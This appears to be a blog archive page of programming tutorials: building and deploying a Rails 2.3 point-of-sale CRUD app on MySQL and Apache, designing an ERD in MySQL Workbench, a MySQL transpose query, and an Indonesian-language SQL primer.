In this article we will learn how to begin developing web applications using Ruby on Rails. First we setup the development environment, then develop a simple CRUD (create, read, update, delete) application using MySQL database, and deploy the application to Apache web server. An an example, we will develop a very simple point of sales (POS) application that consists only 3 tables: orders, order_details, and items.

Ruby on Rails Installation

Install Ruby if it’s not installed yet on your system:

# apt-get install  ruby1.8 ruby1.8-dev

 

Install Ruby Gem package management directly from Rubyforge since we need the newer version than version 1.3.1 that is shipped with Debian 5:

# wget http://rubyforge.org/frs/download.php/70696/rubygems-1.3.7.tgz

# tar xfz rubygems-1.3.7.tgz

# cd rubygems-1.3.7.tgz

# ruby setup.rb

# ln -s /usr/bin/gem1.8 /usr/bin/gem

 

Install Ruby on rails version 2.3.8 using gem command:

# gem install -v=2.3.8 rails

 

Start Developing the Application

We are going to put our application on /opt/rubyapp or whatever directory you like.

# cd /opt

# mkdir rubyapp

 

On that directory, run rails command to create a new application skeleton. We are going to create a simple POS application and we call it simplepos.

# rails simplepos

 

Rails will create the application skeleton on the directory name we specified. Go to that directory and run the server.

# cd simplepos

# ruby script/server

 

Ruby on Rails server will start and we can access it from http://yourserver-ip:3000, like the following:

Note: I once found a conflicting port 3000 on Debian 5, which was used by Dr WEB application. Simply stop that service or change the port in order that Rails application to start correctly.

You can see that the default database driver is SQL lite. We need to change this to MySQL. Edit the config/database.yml:

development:
  adapter: mysql
  database: simplepos_development
  user: root
  password: 1234
  pool: 5
  timeout: 5000

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  adapter: mysql
  database: simplepos_test
  user: root
  password: 1234
  pool: 5
  timeout: 5000

production:
  adapter: mysql
  database: simplepos_production
  user: root
  password: 1234
  pool: 5
  timeout: 5000

Adjust the user name and password according to your system. Then run this command to create all the databases defined on the config file:

# rake db:create:all

 

Run the server again (ruby script/server) and make sure that our database is now MySQL:

The Application Design

Our application is quite simple. It contains only 3 tables

• orders for storing sales transactions with the following fields:
• number
• order_date
• items for storing items to be sold the following fields:
• number
• name
• description
• unit_price
• order_details for storing order details with the following fields:
• order_id
• item_id
• qty
• unit_price
• amount

Here is the relation of the 3 tables:

Creating Model , Controller, and View using Scaffold for Orders Data

Let’s move on to coding. Rails provides us a very powerful scaffolding script that allows us to easily create the model, view, and controller, and even the tables related to the model.

First, create the Order model. Here we follow the Rails convention: model use singular word.

# ruby script/generate scaffold Order number:integer order_date:date

Rails will create our Order model, view, and controller. Take a look on simplepos/app folder. Next create the database table according to the fields that we sepcified on the scaffold above:

# rake db:migrate

Now, run the server again (ruby script/server) and test the CRUD functionality for the Order data by entering the URL address: http://yourserver-ip:3000/orders. We can see the list orf orders on the index page, a new order creation link, along with edit, update, and delete link if there’s an order already.

Listing orders:

Adding new order:

Order created:

List the orders on the order list:

Editing the order:

Deleting the order:

What have we have is a complete CRUD application for Orders table created automatically by Rails scaffolding.

Creating Model , Controller, and View using Scaffold for Items Data

Now create the model, controller, view, and table for items data, using the same steps as above.

# ruby script/generate scaffold Item number:integer name:string description:text unit_price:decimal

Then create the database table according to the fields that we specified on the scaffold above:

# rake db:migrate

And try to run the items CRUD by pointing to URL http://yourserver-ip:3000/items . You should be able to list, create, edit, and delete the items data now. This is the example of creating new item form.

Validating Data

If we need to validate data entered by the user, then we can easily edit the model and add validations to the fields. For example, we need to validate the existence of number and  order_date fields on orders table. Also we need to validate whether total_amount field is a number or not. Edit the app/model/order.rb file and add the following bold lines:

class Order < ActiveRecord::Base
   validates_presence_of :number, :order_date 
end

Stop and start the server again, and let’s enter the wrong data according to the validation rule.

Entering a blank number, order_date.

Of course, we could also add the validation to Items data by editing the app/model/item.rb file, by adding the following bold lines:

class Item < ActiveRecord::Base
   validates_presence_of :number, :name, :unit_price
   validates_numericality_of :unit_price
end

Try to create a blank number, name, unit_price on item data:

Creating Order Details MVC and Set the Relation

Order details is the place where we stored the actual sales transaction. It will record the items purchased on a particular order number. So it has a relation to items table and orders table as well, both for a “belongs to” relationship. So the relations will be:

• orders has many order_details
• items has many order_details
• order_details belongs to orders and items

Let’s create the MVC for this order details using the same steps as before:

# ruby script/generate scaffold OrderDetail order:references item:references qty:integer unit_price:decimal amount:decimal

Note that we used references data type for order and item on OrderDetail model. This will make Rails to create a relationship between OrderDetail and Order and Item model (ie OrderDetails belongs to Order and Item). It will also create a reference column on the order_details table, which is order_id and items_id.

Then create the database table according to the fields that we specified on the scaffold above:

# rake db:migrate

 

And take a look at the generated order_details table:

mysql> explain order_details;
+————+—————+——+—–+———+—————-+
| Field      | Type          | Null | Key | Default | Extra          |
+————+—————+——+—–+———+—————-+
| id         | int(11)       | NO   | PRI | NULL    | auto_increment |
| order_id   | int(11)       | YES  |     | NULL    |                |
| item_id    | int(11)       | YES  |     | NULL    |                |
| qty        | int(11)       | YES  |     | NULL    |                |
| unit_price | decimal(10,0) | YES  |     | NULL    |                |
| amount     | decimal(10,0) | YES  |     | NULL    |                |
| created_at | datetime      | YES  |     | NULL    |                |
| updated_at | datetime      | YES  |     | NULL    |                |
+————+—————+——+—–+———+—————-+
8 rows in set (0.00 sec)

Note: created_at and updated_at are auto generated columns when we create the scaffolding.

Let’s define this relations to the models. First edit the order model (app/model/order.rb) and add the following bold lines:

class Order < ActiveRecord::Base
   validates_presence_of :number, :order_date
   has_many :order_details
end

And to the item model (app/model/item.rb)

class Item < ActiveRecord::Base
   validates_presence_of :number, :name, :unit_price
   validates_numericality_of :unit_price
   has_many :order_details
end

Also check the order detail model (app/model/order_detail.rb) has the relationship already because we specify that order and items are references when do the scaffolding.

class OrderDetail < ActiveRecord::Base
  belongs_to :order
  belongs_to :item
end

Edit routes.rb

We also need to edit the config/routes.rb so that the URL for order and order details also have a relationship information that order has many order_details. Modify the file so it looks like the following:

ActionController::Routing::Routes.draw do |map|
  map.resources :items

  map.resources :orders, :has_many => :order_details

….

It will enable us to access the order details data below the order URL like this: http://yourserver:3000/orders/1/order_detail

Adding Order Detail Form

We need to add the detail form below the Order show page so that we can add item details for a particular Order.

Add these bold lines just below the Date field of the Order:

…

<p>
  <b>Order date:</b>
  <%=h @order.order_date %>
</p>

<h1>Order details</h1>
<table>
<tr>
   <th>Item</th>
   <th>Qty</th>
   <th>Unit Price</th>
   <th>Amount</th>
</tr>

<%= render :partial => @order.order_details %>

<% form_for [@order, OrderDetail.new] do |f| %>
<tr>
   <td><%= f.label :item_id, "item" %></td>
   <td><%= f.label :qty, "Qty" %></td>
</tr>
<tr>
   <td><%= f.select :item_id, @items.map {|u| [u.name,u.id %></td>
   <td><%= f.text_field :qty %></td>
</tr>
<tr>
   <td></td><td><%= f.submit "add detail" %></td>
</tr>
<% end %>
</table>

...

We need to create a new file under app/views/order_details, called app/views/order_details/_order_detail.html.erb. This file is required by the :render=>partial line above and is a partial template file used to render each order detail lines for an Order.

<% div_for order_detail do %>
<tr>
   <td><%=h order_detail.item.name %></td>
   <td><%=h order_detail.qty %></td>
   <td><%=h order_detail.unit_price %></td>
   <td><%=h order_detail.amount %></td>
</tr>
<% end %>

Then, we create a form for order details of an order ( form_for [@order, OrderDetail.new] do |f| ). After this, f variable will be related to order_details, but when submitted it will go to  /orders/<id>/order_details.

On that form, we use select() helper function to render a selection box that is populated with all items data that we have where users can pick an item from. Using @items.map we create an array that is required by the select() as its option values.

Next, edit app/controller/orders_controller.rb file so that it provides us with @items object that we used on the select() above.

def show
  @order = Order.find(params[:id])
  @items = Item.find(:all)

  respond_to do |format|
    format.html # show.html.erb
    format.xml  { render :xml => @order }
  end
end

Modify app/controller/order_details_controller.rb so that it contains only one create method (delete all other methods generated by the scaffolding process). This is invoked when we create a new order_detail record.

class OrderDetailsController < ApplicationController
   def create
      @order = Order.find(params[:order_id])
      @order_detail = @order.order_details.create!(params[:order_detail])
      item = Item.find(params[:order_detail][:item_id])
      qty = params[:order_detail][:qty]
      @order_detail.update_attributes(:amount=>item.unit_price.to_i * qty.to_i , :unit_price=>item.unit_price)
      redirect_to @order
   end
end

On this method, first we find the order identified by an ID (params[:order_id]) which is a parameter posted by the order detail form.

Found the Order, we create an OrderDetail record by calling @order.order_details.create!() method. This is possible because we have declared that an order can have many order_details.

Next we find the item that is being selected by the user, to find out its unit_price and calculate the order detail amount. Then we update the attributes of order_details using these values.

After all processes are done, we redirect back to the order URL (redirect_to @order).

It’s time now to try our modified application, go to Order URL and click Show link. We will have a new look of the form:

Try to add items on the order and check the unit price and amount.

Calculating Order’s Total Amount

It’s time to calculate the total amount of an order which is the sum of amounts of all order_details that it has.

This is easily calculated using the relation that we have set before (order has many order_details). After defining that relation, we will be able to call order.order_details.sum(colname) and get the total value of colname on the order_details table where order_id is the order that we are looking at.

So, we can edit add/model/order.rb to add a new method total_amount that will return the sum of column amount on the table that it has many (order_details):

class Order < ActiveRecord::Base
   validates_presence_of :number, :order_date, :total_amount
   validates_numericality_of :total_amount
   has_many :order_details

   def total_amount
      self.order_details.sum(:amount)
   end
end

Now we can use that method from our views. Edit the app/views/orders/index.html.erb:

<h1>Listing orders</h1>

<table>
  <tr>
    <th>Number</th>
    <th>Order date</th>
    <th>Total amount</th>
  </tr>

<% @orders.each do |order| %>
  <tr>
    <td><%=h order.number %></td>
    <td><%=h order.order_date %></td>
    <td><%=h order.total_amount %></td>
    <td><%= link_to ‘Show’, order %></td>
    <td><%= link_to ‘Edit’, edit_order_path(order) %></td>
    <td><%= link_to ‘Destroy’, order, :confirm => ‘Are you sure?’, :method => :delete %></td>
  </tr>
<% end %>
</table>

Here is the look of the modified index pages:

And also the app/views/orders/show.html.erb:

<p>
  <b>Number:</b>
  <%=h @order.number %>
</p>

<p>
  <b>Order date:</b>
  <%=h @order.order_date %>
</p>

<p>
  <b>Total amount:</b>
  <%=h @order.total_amount %>
</p>

. . .

Here is the look of the modified show page:

Decorating and Layout

Per model layout

As part of the scaffolding process, Rails generates a layout template for each model that we created. It is located on app/views/layouts directory. For example, we change the layout of the Items data, which is the app/views/layouts/items.html.erb.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
  <title>Items: <%= controller.action_name %></title>
  <%= stylesheet_link_tag ‘scaffold’ %>
</head>
<body>

<p style="color: green"><%= notice %></p>

<%= yield %>

</body>
</html>

As you can see, it’s a regular HTML file with a special tag that comes from Rails, which are    <%= stylesheet_link_tag ‘scaffold’ %>  and <%= yield %>. The first tag is how Rails application link a CSS file, in this case scaffold.css. Rails automatically search this file on public/stylesheets directory on our application folder.

The next tag is <%= yield %>. This is a Rails variable that contains the data generated by the view. So everything that we write on the view files will be contained in this variable and rendered on this layout file.

Let’s modify the body background color for Items data only, so change the body tag to <body style="background-color:#aaa">. We should see the background color for Items listing, edit, create, and update page will be changed.

Global application layout

If you’d like to change the layout globally for each model pages, then you will need to create a new file called app/views/layouts/application.html.erb, and delete  all other layout files generated by the scaffold. You can copy from another layout file exists as a template, then do the layout adjustments on that file and rename it to application.html.erb.

Having only application.html.erb will make Rails to use that file as the layout for the application. So you have to delete all other layout files, otherwise Rails will use that file instead.

The CSS, image, and Javascript files location

On your application directory, there’s a directory named public. This is where we store all public resources, like CSS, images, and Javascript files.

Rails provides us with some helper functions to generate the proper path for accessing these things, for example image_tag() to access images on public/images, stylesheet_link_tag() to access CSS files, and javascript_include_tag() to access Javascript files.

The Default Welcome Page

When pointing our browser to http://yourserver-ip:3000/ we will get the Ruby on Rails welcome page by default. We can change this default behaviour by editing the config/routes.rb file. Look at the map.root :controller => "welcome" line, and uncomment that line.

…

map.root :controller => "welcome"

…

 

It means that our application’s default controller is called welcome, which is not exist right now.

Next step, we need to delete public/index.html file.

# rm public/index.html

Then, we need to create that controller, simply by  running script/generate again but this time with controller parameter and not scaffold as we have used before.

# ruby script/generate controller welcome index

The command tells Rails to create for us a controller named welcome with a method index. Beside that Rails will also create a view file on app/views/welcome/index.html.erb that we can customize right away.

Let’s modify app/views/welcome/index.html.erb  so that it will show us a main menu for our application :

<h1>Welcome to Simple POS</h1>

<ul>
   <li><%= link_to "Orders" , orders_path %></li>
   <li><%= link_to "Manage Items" , items_path %></li>
</ul>

Here we use another Rails helper function link_to() which will create a HTML <a href> tag, which will display a link text as specified by the first parameter, and will jump to the URL that we specified in it’s second parameter.

We also use orders_path and items_path, which are the helper functions that is automatically generated by the scaffolding process to go to the index page (listing) of the order and item data.

The link can also be referred as these:

   <%= link_to "Orders" , :controller=>"orders", :action=>"index" %>

Testing the Application

Rails provides us a test suite for testing out our application programmatically. This will make us easier to test all functionality of our application without testing it manually by entering data on the user interface pages.

For example, it we need to test the application functionalities, run this comman:

# rake test:functionals

We can see the test results and  will be notified if something not expected exists.

Deploying Into Apache Web Server

Install modrails aka Passenger to be used by Apache web server:

gem install passenger

Then type:

passenger-install-apache2-module

Then follow the instructions on that script.

Deploying on name based virtual host:

Add a virtual host entry to your Apache configuration file. Make sure that the following conditions are met:

• The virtual host’s document root must point to your Ruby on Rails application’s public folder.
• The Apache per-directory permissions must allow access to this folder.
• MultiViews must be disabled for this folder.

For example:

<VirtualHost *:80>
    ServerName www.simpleblog.com
    DocumentRoot /opt/rubyapp/simpleblog/public
    <Directory /opt/rubyapp/simpleblog/public>
        Allow from all
        Options -MultiViews
    </Directory>
</VirtualHost>

You may also need to tweak your file/folder permissions. Make sure that the following folders are readable and executable by Apache:

• this public folder.

• the application’s config folder.

• all parent folders. That is, /opt/rubyapp/simpleblog , /opt and /opt/rubyapp/must also be readable and executable by Apache.

  Then restart Apache. The application has now been deployed.

Deploying to a sub URI:

Suppose that you already have a virtual host:

<VirtualHost *:80>
    ServerName www.yoursite.com
    DocumentRoot /www/yoursite
    <Directory /www/yoursite>
        Allow from all
    </Directory>
</VirtualHost>

And you want your Ruby on Rails application to be accessible from the URL http://www.yoursite.com/simpleblog.

To do this, make a symlink from your Ruby on Rails application’s public folder to a directory in the document root. For example:

ln -s /opt/rubyapp/simpleblog/public /www/yoursite/simpleblog

Next, add a RailsBaseURI option to the virtual host configuration, and also make sure that:

• The Apache per-directory permissions allow access to this folder.

• MultiViews is disabled for this folder.

For example (notice the lines in bold):

<VirtualHost *:80>
    ServerName www.yoursite.nl
    DocumentRoot /www/yoursite
    <Directory /www/yoursite>
        Allow from all
    </Directory>

    RailsBaseURI /simpleblog
    <Directory /www/yoursite/simpleblog>
        Options -MultiViews
    </Directory>
</VirtualHost>

Then restart Apache. The application has now been deployed.

Deploying to a port based virtual host

What if you want to access your application using a port number, like http://yoursite.com:9000. To do this, use Apache’s port based virtual host.

Add Listen directive to ports.conf or httpd.conf:

Listen 9000

 

Then add a virtual host entry to your Apache configuration file. Make sure that the following conditions are met:

• The virtual host’s document root must point to your Ruby on Rails application’s public folder.
• The Apache per-directory permissions must allow access to this folder.
• MultiViews must be disabled for this folder.

For example:

<VirtualHost *:9000>

   ServerName www.yoursite.com

      DocumentRoot /opt/rubyapp/simpleblog/public

      <Directory /opt/rubyapp/simpleblog/public>

         AllowOverride all

         Options -MultiViews

      </Directory>

</VirtualHost>

Also, delete or comment out the NameVirtualHost * directive on your httpd.conf.

Then restart Apache. The application has now been deployed.

Resources

• http://rubyonrails.org
• http://www.railscasts.com
• http://www.modrails.com

Akhmad Daniel Sembiring

akhmad.daniel[at]gmail.com

vitraining.com -CEO

In the previous parts of this tutorial series we have discussed how to setup the application environment using XAMPP and CodeIgniter, and the application specification. We have done the analysis and design using UML use case and class diagram with free UML diagram tool StarUML.

In this part, we will discuss the database design for our application. This database is needed to hold the data for our application.

We are going to draw the entity relationship diagram (ERD) using a free tool called MySQL workbench, formerly fabForce ERD tools for MySQL. Before continuing, please download the program here and install it to your computer.

At the end of the designing process, we will create our database structure directly to a MySQL server that can be used by our application.

The Tables

For the purpose of our application requirements and based on UML use case we defined before, here is a list of mandatory tables that we must create on the application’s database.

Creating Tables in MySQL Workbench

Installing MySQL Workbench should not be a problem. I assumed that you already have done that. Now, run the program and you will see a blank workspace of MySQL model like this:

Click on Add Diagram icon to create our first diagram. You will see a blank page for drawing our diagram like this:

Creating A New Table and Adding Fields

Next, we need to draw a table. Click on the “Place a New Table” located on the left side of the blank diagram. Then place it on the middle of the blank page. After placing the table, you may resize it’s size so that we can see a tall rectangular like this:

Double click on the table to add it’s columns. You will see a new pane at the bottom of the page consisting the table properties like this:

On the pane, there’s a lot of tab on it’s bottom part. Click the “Table” where we can give our new table a name. Create our first table called “cashbook”.

Next we need to define the table columns. Click on the “Columns” tab. You will see the following:

As you can see, the program automatically add a column called “idcashbook” which you can rename it. This column should be the table’s primary key, so we check on the NN (means not null), AI (auto increment), and Flags PRIMARY KEY. When we set it up, then the icon left to the column name will change to a yellow key icon.

Next, we need to add more column. To do that, double click the empty row below the first column. Enter “trxdate” as the column name and DATETIME as the type. Your table property should be like the following:

Repeat the step of adding new field for the following new fields:

Creating Other Tables

Here is a list of tables with it’s description that we need to create for our application. Repeat the above steps to create every table listed below.

Table cashbook (should have been created before)

This is the master table of cashbook document. It has it’s detail records in cashbook_details table.

Table cashbook_detail

This is the detail records of table cashbook.

Table bankbook

This is the master table of bankbook document. It has it’s detail records in bankbook_details table.

Table bankbook_detail

This is the detail records of table bankbook.

Table coa

This table store the chart of account data. It will be referenced by cashbook_detail, bankbook_detail, and journal table.

Table coatype

This table store the COA type

Table journal

This table store journal transactions generated by cashbook and bankbook transaction after being posted and manual journal transaction entered manually.

Creating Relationships

To create a relationship between two table in MySQL Workbench, simply click on the “Place a Relationship Using Existing Column” icon on the left side of the diagram. Then:

1. set the FOREIGN KEY column on the referencing table, and
2. set the PRIMARY KEY column on the referenced table

For example, to create a relationship between cashbook (the referenced table) and cashbook_detail (the referencing table):

1. Click “Place a Relationship Using Existing Column” icon

2. click cashbook_idcashbook column on the cashbook_detail table and click “Pick Referenced Column” button

3. click idcashbook column on the cashbook table

A relationship line will be drawn between those two tables.

The Finished ER Diagram

After you have created all the tables and relations as specified above, here is the completed ER diagram will looks like:

And here is the diagram MWB file for you to download.

Creating the Database into MySQL Server

After finishing the design of the ERD we need to create the database structure directly into MySQL server. To do this first we need to define the database server connection. Click on the menu Database – Manage Connections… You will see a dialog like this:

Click on New button and enter the Connection Name for example localhost, the Database System of MySQL, and the Driver of MySQL Native Driver. On the Parameters pane, enter your hostname or IP address on the Hostname field, Port number which is default to 3306, the Username and Password which match to your MySQL server configuration.

You may optionally click on Test Connection to make sure that the connection to the database server was successful. Click Close button.

To generate the database structure first we need to define the database name to be created. Click on the MySQL Model tab on the main page of MySQL Workbench. Then double click on mydb tab under Physical Schemata section. Look under the mydb property pane. Change the Name to the database name to be created, for example acctdb.

Don’t forget to click on Save Current Model icon to save our diagram.

Next, click on the menu Database – Forward Engineer.. to begin creating the database structure. A dialog box will appear:

Click Run Validations to make sure that the table definitions and relationship in our diagram was all correct. Then click on Next button. The next dialog box will appear:

On that dialog, you specify the options for creating the database. The first options is to drop objects before each CREATE Object, and the second is to generate separate CREATE INDEX statements. Then click on Next button. The next dialog box will appear:

This time we select which objects in our diagram that will be generated on the MySQL database. Select all tables. Then click on Next button. The next dialog box will appear:

Here we can review the SQL statements to be executed to the MySQL Server. As you can see, the SQL statement was generated based on the diagram that was created before in the design. This including the database, tables, fields, index, and the relations between the tables. Then click on Next button. The next dialog box will appear:

Here we must choose the database connection that we have defined before. If there’s a change on the hostname, username and password, you still can do it here by modifying it on the appropriate field. Then click on Execute button to execute the SQL statement on the server. The next dialog box will appear:

The execution is now complete. It means that the database is created on the server with the tables and relations as defined in our diagram. You may check that on any MySQL front end program like phpMyAdmin, Navicat MySQL, and any other programs. Here is the snapshot of the database structure as viewed with Navicat MySQL program:

In this part, we have discussed the database design for our application. We have drawn the entity relationship diagram (ERD) using a free tool called MySQL workbench. Also we have created our database structure directly to a MySQL server that can be used by our application. You may download the diagram MWB file here.

In the next article, we are ready to begin the coding of the application.

Image via CrunchBase

This article explain how to transpose a MySQL table from row to column. Suppose that you have a sales table per item per retail outlet per sales date like this:

Then, you need to show the total sales per item per retail outlet like the following:

For that case, you need to transpose the original table into the second table. Unfortunately, MySQL does not support a function for transposing row into column of a table, so we need to create a query to do so.

For the example above, we need a query like the following:

SELECT ITEM_CODE,
SUM(IF(RETAIL_ID=’A',SALES,0)) AS ‘A’,
SUM(IF(RETAIL_ID=’B',SALES,0)) AS ‘B’,
SUM(IF(RETAIL_ID=’C',SALES,0)) AS ‘C’
FROM RETAIL_INFO
GROUP BY ITEM_CODE

The query above will sum the total sales for each retail outlet ID grouped by item code and shows the result on it’s own column. If you have many retail outlets, then you must create the column for each of them.

Akhmad Daniel Sembiring

vITraining.com – Qualified IT Products, Outsourcing, and Services
Ligarwangi.com – Linux, E-book, Coffee, Gift, etc

Image by lilit via Flickr

Database, tabel, baris, dan kolom

Dalam konteks bahasa SQL, pada umumnya informasi tersimpan dalam tabel-tabel yang secara logik merupakan struktur 2 dimensi yang terdiri dari baris-baris data (row atau record) yang berada dalam satu atau lebih kolom (column). Baris pada tabel sering disebut sebagai instance dari data sedangkan kolom sering disebut sebagai attributes atau field.

Keseluruhan tabel-tabel itu dihimpun dalam satu kesatuan yang disebut database.

Gambar 1 Database, tabel, kolom, dan baris

Type data pada MySQL

Berikut ini tabel data type yang dapat digunakan untuk field-field tabel pada database MySQL.

Tabel 1 Type data field pada MySQL

Membuat database

Pada modul ini kita akan membuat database dengan nama shopping yang terdiri dari tabel-tabel:

• publishers , berisi daftar nama penerbit buku
• titles, berisi daftar judul buku

Gunakan perintah di bawah ini untuk membuat database pada MySQL server.

# mysqladmin create <nama-database>

Contohnya

# mysqladmin create shopping

Database “shopping” created.

Membuat tabel

Setelah database terbuat, anda harus membuat tabel yang akan menyimpan data yang anda butuhkan. Sebagai contoh kita akan membuat tabel daftar penerbit buku (publishers). Tabel ini berisi field-field sebagai berikut:

Tabel 2 Struktur tabel publishers

Gunakan perintah mysql <nama-database> untuk membuat tabel yang dimaksud di atas.

# mysql shopping
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 403 to server version: 3.22.10-beta
Type 'help' for help.
mysql>

Prompt mysql> merupakan tempat anda memasukkan perintah-perintah MySQL yang akan kita pelajari sebentar lagi. Setiap perintah SQL pada MySQL harus diakhiri dengan tanda titik-koma (;). Untuk keluar dari prompt mysql> gunakan perintah quit.

Pada prompt mysql ketikkan perintah-perintah untuk membuat tabel publishers, sebagai berikut

mysql> create table publishers (
-> pub_id int,
-> pub_name char(20),
-> city char(10),
-> state char(10)
-> );
Query OK, 0 rows affected (0.06 sec)

Setelah itu, pada database shopping akan terdapat tabel publishers yang belum terisi data.

Latihan

Buat tabel – tabel di bawah ini pada database shopping.

Tabel 3 Struktur tabel authors

Tabel 4 Struktur tabel titles

Insert Query

Untuk mengisi data pada suatu tabel, gunakan perintah SQL INSERT. Syntaksnya adalah:

INSERT INTO nama-tabel (kolom1,kolom2, …) VALUES (nilai1, nilai2, …);

Contohnya jika anda ingin mengisi tabel publishers dengan data sebagai berikut:

• Nomor kode; 1
• Nama penerbit: Gramedia
• Kota : Jakarta
• State: Indonesia

Maka perintah SQL INSERT yang harus anda ketikkan adalah sebagai berikut:

mysql> INSERT INTO publishers (pub_id, pub_name, city, state)
-> VALUES
-> (1, ‘Gramedia’, ‘Jakarta’, ‘Indonesia’);
Query OK, 1 row affected (0.01 sec)

Selain melalui prompt mysql, anda dapat juga mengisi data pada database melalui file yang telah berisi data, tentunya dalam format syntaks SQL yang benar. Contohnya, buat file dengan nama PUBLISHER.SQL dengan ini sebagai berikut:

INSERT INTO publishers VALUES ('100','Addison-Wesley','MA','USA');
INSERT INTO publishers VALUES ('101','BANTAM BOOK','MA','USA');
INSERT INTO publishers VALUES ('102','Harper Business','MA','USA');
INSERT INTO publishers VALUES ('103','Hewlett Packard','MA','USA');
INSERT INTO publishers VALUES ('104','John Wiley & Sons, Inc','MA','USA');
INSERT INTO publishers VALUES ('105','Macmillan Publishing Company','MA','USA');
INSERT INTO publishers VALUES ('106','McGraw Hill','MA','USA');
INSERT INTO publishers VALUES ('107','O\'Reilly & Associates, inc','MA','USA');
INSERT INTO publishers VALUES ('108','Osborne McGraw-Hill','MA','USA');
INSERT INTO publishers VALUES ('109','Prentice Hall','MA','USA');
INSERT INTO publishers VALUES ('110','Sams','MA','USA');
INSERT INTO publishers VALUES ('111','Wiley','MA','USA');
INSERT INTO publishers VALUES ('112','Microsoft','MA','USA');

Lalu , dari prompt Linux, ketikkan perintah:

# mysql shopping < PUBLISHERS.SQL

Perhatikan bahwa pada sintaks INSERT, untuk semua field yang bertype char, data yang dimasukkan harus diapit oleh tanda petik ‘’, sedangkan untuk type integer tidak.

Latihan

• Isikan data pada tabel authors dan titles dengan file AUTHORS.SQL dan TITLES.SQL yang dapat anda download dari alamat sini.

Menggunakan Query SELECT

Perintah SELECT digunakan untuk melihat data dari satu atau beberapa tabel. Syntasknya secara sederhana adalah:

SELECT kolom-kolom

FROM nama-tabel

Menampilkan kolom tertentu

Misalnya, untuk melihat nama-nama pengarang buku yang terdapat pada tabel authors, dapat anda gunakan perintah:

SELECT au_lname, au_fname
FROM authors

Hasilnya akan terlihat daftar nama yang tediri dari dua kolom , masing-masing au_lname dan au_fname, seperti berikut ini:

+------------+----------+
| au_lname   | au_fname |
+------------+----------+
| Purbo      | Onno     |
| Daniel     | Akhmad   |
| Arif       | Aulia    |
| Nursasono  | Rudi     |
+------------+----------+
8 rows in set (0.00 sec)

Ekspression pada query

Tampilan kolom hasil query dapat kita modifikasi sehingga mengeluarkan informasi yang kita butuhkan. Misalnya untuk menampilkan harga discount dari harga normal pada tabel title, anda dapat menggunakan:

SELECT title_id, type, price , price * 0.1
FROM titles

Hasilnya adalah kolom-kolom nomor buku, jenis buku, harga, dan harga discount yang merupakan perkalian harga dengan 0.1.

+----------+----------------------+-------+-------------+
| title_id | type                 | price | price * .1  |
+----------+----------------------+-------+-------------+
...
| PR2807   | PROGRAMMING          | 4     | 0.4         |
| IN7709   | INTERNET             | 65    | 6.5         |
| UN6462   | UNIX                 | 18    | 1.8         |
| CO0175   | COMMUNICATION        | 97    | 9.7         |
| IN2467   | INTERNET             | 28    | 2.8         |
| IN9823   | INTERNET             | 49    | 4.9         |
| IN8724   | INTERNET             | 62    | 6.2         |
| MA5142   | MARKETING            | 64    | 6.4         |
| UN9539   | UNIX                 | 35    | 3.5         |
| IN9247   | INTERNET             | 83    | 8.3         |
| UN1623   | UNIX                 | 10    | 1.0         |
| NE5367   | NETWORKING           | 2     | 0.2         |
| UN2956   | UNIX                 | 77    | 7.7         |
| MA8688   | MARKETING            | 80    | 8.0         |
| IN3551   | INFOSYS              | 71    | 7.1         |
| UN9725   | UNIX                 | 13    | 1.3         |
| PR6948   | PROGRAMMING          | 55    | 5.5         |
+----------+----------------------+-------+-------------+
174 rows in set (0.02 sec)

Distinct

Keyword DISTINCT dapat anda gunakan untuk menghilangkan record-record yang duplikasi. Misalnya jalankan query berikut ini.

SELECT type FROM titles

Hasilnya

+----------------------+
| type                 |
+----------------------+
...
| INTERNET             |
| MARKETING            |
| UNIX                 |
| INTERNET             |
| UNIX                 |
| NETWORKING           |
| UNIX                 |
| MARKETING            |
| INFOSYS              |
| UNIX                 |
| PROGRAMMING          |
+----------------------+
174 rows in set (0.02 sec)

Pada contoh di atas, jika ingin menampilkan kolom type yang tidak duplikasi, maka perintah querynya adalah sebagai berikut

SELECT DISTINCT type FROM titles

dan hasilnya adalah sebagai berikut

+----------------------+
| type |
+----------------------+
...
| DATABASE |
| ELECTRONICS |
| ENVIRONMENT |
| FINANCE |
| INFOSYS |
| INTERNET |
| INVESTMENT |
| MANAGEMENT |
| MARKETING |
| MISC |
| NETWORKING |
| PROGRAMMING |
| QUALITY ASSURANCE |
| SOFTWARE |
| UNIX |
| USER'S MANUAL |
+----------------------+
18 rows in set (0.02 sec)

Jika ada lebih dari satu kolom, maka keyword DISTINCT hanya akan menghilangkan record yang seluruh kolomnya sama.

SELECT *

Untuk melihat seluruh isi kolom dari suatu tabel anda dapat menggunakan query SELECT *. Contohnya :

SELECT * FROM authors

Hasilnya adalah

+-------+------------+----------+----------+-----------+
| au_id | au_lname   | au_fname | city     | state     |
+-------+------------+----------+----------+-----------+
| 1     | White      | Johnson  | US       | CA        |
| 2     | Purbo      | Onno     | Bandung  | Indonesia |
| 3     | Daniel     | Akhmad   | Bandung  | Indonesia |
| 4     | Zamfarra   | Zilmy    | Bandung  | Indonesia |
| 5     | Arif       | Aulia    | Bandung  | Indonesia |
| 5     | Suhardiman | Basuki   | Surabaya | Indonesia |
| 6     | Straight   | Dean     | MA       | USA       |
| 7     | Nursasono  | Rudi     | Jakarta  | Indonesia |
+-------+------------+----------+----------+-----------+
8 rows in set (0.04 sec)

Mem-filter hasil query dengan where

Anda dapat membatasi hasil query dengan keyword WHERE sehingga record-record yang dikeluarkan hanyalah record yang sesuai dengan kriteria yang anda inginkan. Misalnya jika anda ingin menampilkan seluruh judul buku yang berharga di bawah 10, maka querynya adalah

SELECT title, price
FROM titles
WHERE price < 3

Hasilnya adalah

+----------------------------------------------------+-------+
| title                                              | price |
+----------------------------------------------------+-------+
| CPU 16                                             | 1     |
| Understanding DCE                                  | 1     |
| 15th Arrl andTapr Digital Communications Conferenc | 2     |
| TCP/IP Netwrok Administrator                       | 2     |
+----------------------------------------------------+-------+
4 rows in set (0.01 sec)

Equality dan inequality

